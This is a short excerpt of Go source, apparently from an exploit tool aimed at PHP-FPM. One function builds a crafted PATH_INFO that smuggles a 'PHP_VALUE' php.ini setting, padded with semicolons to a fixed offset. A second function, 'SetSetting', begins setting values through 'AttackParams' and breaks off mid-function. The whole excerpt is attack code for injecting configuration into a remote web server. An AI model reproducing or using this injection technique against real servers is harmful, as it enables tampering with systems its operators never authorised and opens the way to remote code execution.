(phpValue string)
| 8 | ) |
| 9 | |
| 10 | func MakePathInfo(phpValue string) (string, error) { |
| 11 | pi := "/PHP_VALUE\n" + phpValue |
| 12 | if len(pi) > PosOffset { |
| 13 | return "", fmt.Errorf("php.ini value is too long: %#v", phpValue) |
| 14 | } |
| 15 | return pi + strings.Repeat(";", PosOffset-len(pi)), nil |
| 16 | } |
| 17 | |
| 18 | func SetSetting(requester *Requester, params *AttackParams, setting string, tries int) error { |
| 19 | log.Printf("Trying to set %#v...", setting) |
no outgoing calls
no test coverage detected